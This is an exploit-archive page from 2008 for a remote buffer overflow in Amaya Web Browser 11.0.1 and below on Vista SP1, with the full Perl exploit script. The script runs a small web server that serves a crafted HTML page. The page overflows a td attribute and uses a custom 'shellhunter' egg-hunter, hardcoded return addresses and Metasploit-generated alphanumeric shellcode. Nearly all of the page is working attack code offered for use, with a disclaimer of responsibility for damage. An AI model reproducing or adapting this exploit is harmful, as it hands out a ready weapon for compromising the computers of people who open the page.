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Amaya Web Browser 11.0.1 Buffer Overflow Exploit

Amaya Web Browser 11.0.1 Buffer Overflow Exploit
Posted Dec 31, 2008
Authored by SkD

Amaya Web Browser versions 11.0.1 and below remote buffer overflow exploit for Microsoft Vista.

tags | exploit, remote, web, overflow
SHA-256 | 838812e1953f168f63b209766220de9eca6d3115a5fd20d10b281685825e01f5

Amaya Web Browser 11.0.1 Buffer Overflow Exploit

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#!/usr/bin/perl
#
# Amaya Web Browser <= 11.0.1 Remote Buffer Overflow Exploit
# Found/Exploit by SkD (skdrat@hotmail.com)
# (skd@abysssec.com )
# -----------------------------------------------
# This is advanced buffer overflow exploitation using
# my new method called shellhunting :)
#
# Get more information about this at http://abysssec.com
#
# "Remember to connect to the webserver the link needs to end with .html, eg: http://127.0.0.1/s.html ("s" can be whatever) "
#
# Exploit works only on a fully patched Vista SP1, but you
# may need to click 'Refresh' to make the shellcode exec
# sometimes.
#
# Note: Author has no responsibility over the damage you do with this!


use strict;
use warnings;
use IO::Socket;

my $html;
my $port_listen = 80; # change this to your desired port!
my $listenip = "127.0.0.1"; # change this to your desired IP!

# win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x50\x5a";

# my own shell hunter.. :) it is 98% alphanumerical.
# 2nd variant of the shellhunter, to make the exploit more reliable..
my $shellhunter = ("\x58\x58\x40\x40").("\x47" x 4).("\x42" x 6). #inc edi
("\x42" x 24).("\x42" x 24).("\x39\x07\x75\x8b\x71\x71").
("\x47\x47\x47\x47\x57\xFF\x65\x78\x77\x76");
my $overflow = "\x42" x 158;
my $overflow2 = "\x42" x 4;
my $overflow3 = "\x43" x 430;
my $overflow4len = 977 - ((length($shellhunter) - 7)); #very important calculation
my $overflow4 = "\x44" x $overflow4len;
my $sled = "\x42" x 12;
my $sled2 = "\x41" x 24;
my $eip2 = "\x37\x55\x03\x10"; #10035537 call ecx, this won't be used
my $eip1 = "\x30\x4f\x01\x10"; #10014F30 call esi, this will be used.
my $heapaddr = "\x50\x0e\x08\x10"; #valid char for buffer, heap address
my $lookout = "\x37\x65\x41\x45" x 40; # 45446537 look out values <-
my $lookout2 = "\x37\x65\x41\x45\x41" x 4; # 45446537 <-
my $lookout3 = "\x37\x65\x41\x45\x41\x41" x 4; # 45446537 <-
my $lookout4 = "\x37\x65\x41\x45\x41\x41\x41" x 4; # 45446537 <-
my $additionaddr = "\x35\x65\x41\x45"; #used for an addition in the shellhunter (+2)
my $nopsled = "\x90\x90\x90\x90\x90\x90";
my $jmp = "\x75\x0c";
print "[x] Amaya Web Browser <= 11.0.1 Remote Buffer Overflow Exploit\n";
print "[x] Found/Exploit by SkD (skdrat@ hotmail.com)(skd@ abysssec.com)\n";

while(1)
{
my $sock=new IO::Socket::INET(Listen=>1,LocalAddr => $listenip,LocalPort=>$port_listen,Proto=>'tcp');
die unless $sock;
print "[x] Waiting for clients on port ".$port_listen."..\n";
my $s;
while($s=$sock->accept()){
print "[x] Got a client!\n";
my $request = <$s>;
print $s "HTTP/1.0 200 OK\nContent-Type: text/html\n\n";
print "[x] Serving Exploit HTML page :)\n";
print $s "<html>\n".
"<head><title>Welcome to SkD's world!</title></head>\n".
"<body>\n".
"<td nowrap=\x22nowrap".
$overflow.$jmp.$eip1.$additionaddr.$heapaddr.$overflow3.$shellhunter.$sled.
$overflow4.
"\x22>\n".
"</td>\n".
"</body>\n".
"</html><title".$lookout4.$lookout3.$lookout2.$lookout.$sled2.$nopsled.$shellcode."></title>\r\n";
sleep(0.5);
close $s;
print "[x] Done!\n";
}
}

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